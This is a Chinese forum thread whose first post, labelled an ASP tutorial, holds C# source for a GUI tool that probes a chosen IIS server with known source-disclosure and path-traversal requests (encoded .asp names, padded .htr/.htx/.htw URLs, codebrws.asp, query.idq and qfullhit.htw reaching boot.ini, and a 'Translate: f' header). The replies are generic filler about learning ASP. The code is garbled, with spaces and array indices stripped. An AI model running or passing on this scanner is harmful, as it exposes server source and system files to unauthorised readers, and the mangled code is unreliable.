飘灵儿 发表于 2015-1-16 22:28:14

ASP教程之一个用c#写的扫描asp源码毛病的使用程序...

ASP.NET和ASP的比较,技术上比较已经没什么可说的了.新一代在大部分程度来说当然是比旧一代好了.关键看你对所做软件的理解了.因人而定.会写的话也可能比ASP.NET写得更有效率和更方便重用//次要办法
protectedvoidbtnGo_Click(objectsender,System.EventArgse)
{

//剖析url
stringstrServer=this.txtServer.Text;
stringstrUrl=this.txtFileName.Text;
char[]point={.};//界说支解符为"."
char[]line={/};//界说支解符为"."
string[]arrString=strUrl.Split(line);

//求asp文件全名
stringstrFileName=arrString;
//求从根目次下的路径
stringstrPath=strUrl.Substring(0,
strUrl.Length-strFileName.Length);

//剖析文件全名
arrString=strFileName.Split(point);
//求文件扩大名
stringstrLast=arrString;
//求文件名
stringstrFirst=strFileName.Substring(0,
strFileName.Length-strLast.Length-1);



//使按钮、输出框等生效
this.txtServer.ReadOnly=true;
this.txtFileName.ReadOnly=true;
this.btnClear.Enabled=false;
this.btnGo.Enabled=false;


if(this.txtServer.Text=="http://"||this.txtFileName.Text==""
||this.txtServer.Text.Trim()==""||
this.txtServer.Text.Substring(0,7)!="http://")
{
MessageBox.Show("请输出准确的主机名和文件名!");
this.txtServer.Focus();
}
else
{
this.txtResult.Visible=true;
this.txtResult.ReadOnly=true;
this.barStatus.Text="正在保持主机…";

stringstrRequestFile;

switch(this.cboMethod.SelectedIndex)
{
case0://间接读取
strRequestFile=strServer+strUrl;
break;
case5://%2e%41sp
strRequestFile=strServer+strPath+strFirst
+"%2e%41sp";
break;
case8://longhtr
strRequestFile=strServer+strUrl
+"+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr";
break;

case10://codebrws.asp
strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source="
+strUrl;
break;

case11://showcode.asp
strRequestFile=strServer+"/iissamples/exair/howitworks/codebrws.asp?source="
+"/msadc/../../../../boot.ini";
break;

case12://null.htw
strRequestFile=strServer+"/null.htw?CiWebHitsFile="
+strUrl+"%20&CiRestriction=none&CiHiliteType=Full";
break;
case13://qfullhit.htw
strRequestFile=strServer+"/iissamples/issamples/oop/qfullhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case14://qsumrhit.htw
strRequestFile=strServer+"/iissamples/issamples/oop/qsumrhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case15://query.idq
strRequestFile=strServer+"/query.idq?CiTemplate=/../../boot.ini"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break;

case16://search/qfullhit.htw
strRequestFile=strServer+"/iissamples/exair/search/qfullhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case17://search/qsumrhit.htw
strRequestFile=strServer+"/iissamples/exair/search/qsumrhit.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case18://iirturnh.htw
strRequestFile=strServer+"/iishelp/iis/misc/iirturnh.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

case19://.htw
strRequestFile=strServer+strUrl
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+"20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+"%20%20%20%20%20%20%20%20%20%20%20.htw?"
+"CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+"&CiHiliteType=Full";
break;

default:
strRequestFile=strServer+strUrl+this.cboMethod.Text;
}

this.barStatus.Text="发送哀求:"
+(strRequestFile.Length>=50?
strRequestFile.Substring(0,50)
:strRequestFile)
+"...";

stringstrResult;
//假如不是translate:f办法则能够间接发送http哀求
if(this.cboMethod.SelectedIndex!=20)
{
//间接发送http哀求
strResult=Get_Http(strRequestFile);

this.barStatus.Text+="完成。";
strResult=strResult==""?"未找到!":strResult;
this.txtResult.Text=strResult;
}
else//translate:f办法必要创建tcp/ip毗连
{
stringstrRequest="GET"+strServer+strUrl
+"
HTTP/1.0
Translate:f
";
strResult=Get_Socket_Request(strServer,strRequest,80);
this.barStatus.Text+="完成。";
strResult=strResult==""?"未找到!":strResult;
this.txtResult.Text=strResult;

}

}

//使按钮、输出款等恢复
this.txtServer.ReadOnly=false;
this.txtFileName.ReadOnly=false;
this.btnClear.Enabled=true;
this.btnGo.Enabled=true;


}


//经由过程同server创建tcp/ip毗连,发送socket命令
privatestringGet_Socket_Request(stringa_strServer,stringa_strRequest,Int32a_intPort)
{
//SetupvariablesandStringtowritetotheserver
EncodingASCII=Encoding.Default;
stringGet=a_strRequest+"Connection:Close

";
//stringGet=
Byte[]ByteGet=ASCII.GetBytes(Get);
Byte[]RecvBytes=newByte;
StringstrRetPage=null;

//IPAddressandIPEndPointrepresenttheendpointthatwill
//receivetherequest
IPAddresshostadd=DNS.Resolve(a_strServer.Substring(7,a_strServer.Length-7));
IPEndPointEPhost=newIPEndPoint(hostadd,a_intPort);

//CreatetheSocketforsendingdataoverTCP
Sockets=newSocket(AddressFamily.AfINet,SocketType.SockStream,
ProtocolType.ProtTCP);

//ConnecttohostusingIPEndPoint
if(s.Connect(EPhost)!=0)
{
strRetPage="Unabletoconnecttohost";
returnstrRetPage;
}

//SenttheGETtexttothehost
s.Send(ByteGet,ByteGet.Length,0);

//Receivethepage,loopuntilallbytesarereceived
Int32bytes=s.Receive(RecvBytes,RecvBytes.Length,0);
strRetPage=strRetPage+ASCII.GetString(RecvBytes,0,bytes);

while(bytes>0)
{
bytes=s.Receive(RecvBytes,RecvBytes.Length,0);
strRetPage=strRetPage+ASCII.GetString(RecvBytes,0,bytes);
}

returnstrRetPage;
}

//猎取http页面函数
privatestringGet_Http(stringa_strUrl)
{
stringstrResult;
HttpWebRequestmyReq=(HttpWebRequest)
WebRequestFactory.Create(a_strUrl);

try
{
HttpWebResponseHttpWResp=(HttpWebResponse)myReq.GetResponse();
StreammyStream=HttpWResp.GetResponseStream();

StreamReadersr=newStreamReader(myStream,Encoding.Default);
StringBuilderstrBuilder=newStringBuilder();
while(-1!=sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"
");
}

strResult=strBuilder.ToString();
}
catch(Exceptionexp)
{
strResult="毛病:"+exp.Message;
}

returnstrResult;

}

//加入
protectedvoidmnuExit_Click(objectsender,System.EventArgse)
{

if(MessageBox.Show("真的加入吗?","加入体系",MessageBox.YesNo)==DialogResult.Yes)
{
this.Close();

}
}


//主函数
publicstaticvoidMain(string[]args)
{
Application.Run(newForm1());
}
}
}
ASP一般认为只能运行在IIS上,正如前面所提到的,这并不是十分正确,事实上,ASP也能运行在Apache上。ApacheASP可在任意Apache服务器上运行有限的ASP功能,所需做的,只需打开mod_perl。

不帅 发表于 2015-1-18 16:06:39

掌握asp的特性而且一定要知道为什么。

谁可相欹 发表于 2015-1-22 08:57:27

我们必须明确一个大方向,不要只是停留在因为学而去学,我们应有方向应有目标.

飘灵儿 发表于 2015-1-31 05:04:51

如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质,我们可以在实践中不断提升自己,不断充实自己。

若天明 发表于 2015-2-6 17:25:37

用户端的浏览器不需要提供任何别的支持,这样大提高了用户与服务器之间的交互的速度。

小魔女 发表于 2015-2-17 16:20:43

如何学好ASP,以前也有人问过,把回答给你转过来看看能否对你有帮助:

再见西城 发表于 2015-3-5 20:51:44

从事这个行业,那么你可以学ASP语言,简单快速上手,熟练dreamweav排版,写asp代码,熟练photoshop处理图片,打好基础就行了

若相依 发表于 2015-3-12 14:56:31

Request:从字面上讲就是“请求”,因此这个是处理客户端提交的东东的,例如Resuest.Form,Request.QueryString,或者干脆Request("变量名")

第二个灵魂 发表于 2015-3-19 23:15:16

ASP(ActiveServerPages)是Microsfot公司1996年11月推出的WEB应用程序开发技术,它既不是一种程序语言,也不是一种开发工具,而是一种技术框架,不须使用微软的产品就能编写它的代码,能产生和执行动态、交互式、高效率的站占服务器的应用程序。
页: [1]
查看完整版本: ASP教程之一个用c#写的扫描asp源码毛病的使用程序...